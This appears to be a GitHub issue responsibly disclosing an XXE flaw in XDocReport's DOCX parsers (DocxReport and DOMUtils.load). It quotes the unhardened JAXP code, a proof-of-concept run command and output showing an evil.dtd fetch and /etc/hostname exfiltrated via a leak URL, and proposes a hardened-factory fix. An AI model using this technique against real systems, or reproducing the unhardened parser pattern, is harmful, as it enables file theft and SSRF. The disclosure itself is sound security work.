Skip to content

XXE when rendering an untrusted DOCX: DocxReport / DOMUtils parse archive entries without entity hardening #734

Description

@MarkLee131

At Angelo's request, reporting here after a private email.

Vulnerability

Rendering an untrusted DOCX resolves external XML entities. Two parsers in the DOCX path read entries from the untrusted archive with default JAXP factories (no disallow-doctype-decl, no external-entity features, no FEATURE_SECURE_PROCESSING).

DocxReport.onBeforePreprocessing(), once per word/_rels/*.xml.rels entry:

SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
saxParser.parse(preprocessedArchive.getEntryInputStream(relsEntryName), contentHandler);

DOMUtils.load():

public static Document load( InputStream stream )
throws ParserConfigurationException, SAXException, IOException
{
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware( true );
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse( stream );
}

On the default JDK JAXP stack (no xercesImpl; template marks it <optional>) both resolve external general and parameter entities. The CVE-2025-65482 fix set these features on SAXXDocPreprocessor only; these two parsers read the same archive and were not changed.

Impact: local file read (file://), SSRF, and internal-entity-expansion DoS (CWE-611). Present from 2.0.4 through 2.2.0 and HEAD.

Reproduce

xdocreport-65482-poc.zip

xdocreport-65482-poc.zip (JDK 17 + Maven; deps pulled from Maven Central):

unzip xdocreport-65482-poc.zip && ./run.sh

It builds a DOCX whose word/_rels/document.xml.rels carries an external-entity DOCTYPE and renders it via XDocReportRegistry.getRegistry().loadReport(docx, Freemarker) then report.preprocess(). Output on released 2.2.0:

[*] xercesImpl on classpath: 0 (0 = JDK built-in JAXP)
[*] callback listener port = 43921
[*] ATTACK: XDocReportRegistry.loadReport + report.preprocess()
[harness] report loaded: fr.opensagres.xdocreport.document.docx.DocxReport
HIT 127.0.0.1 - "GET /evil.dtd HTTP/1.1" 200 -
HIT 127.0.0.1 - "GET /leak?data=sprl-svr203 HTTP/1.1" 404 -
[harness] threw: fr.opensagres.xdocreport.core.XDocReportException:
          java.io.FileNotFoundException: http://127.0.0.1:43921/leak?data=sprl-svr203
[*] CONTROL: same rels with the external-entity features disabled (HardenedProbe)
[hardened] threw: org.xml.sax.SAXParseException; lineNumber: 7; columnNumber: 141;
          The entity "exfil" was referenced, but not declared.

GET /evil.dtd is the SSRF; GET /leak?data=sprl-svr203 carries /etc/hostname (read via file://) in the query string. The control leg, same rels with the features disabled, makes no callback.

Fix

Route the three parsers through one hardened factory (disallow-doctype-decl=true, external-entity features false, FEATURE_SECURE_PROCESSING=true). PR #PR adds newSecureDocumentBuilderFactory() / newSecureSAXParserFactory() to DOMUtils, routes DocxReport, DOMUtils.load, and SAXXDocPreprocessor through them, and adds an XXE regression test.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions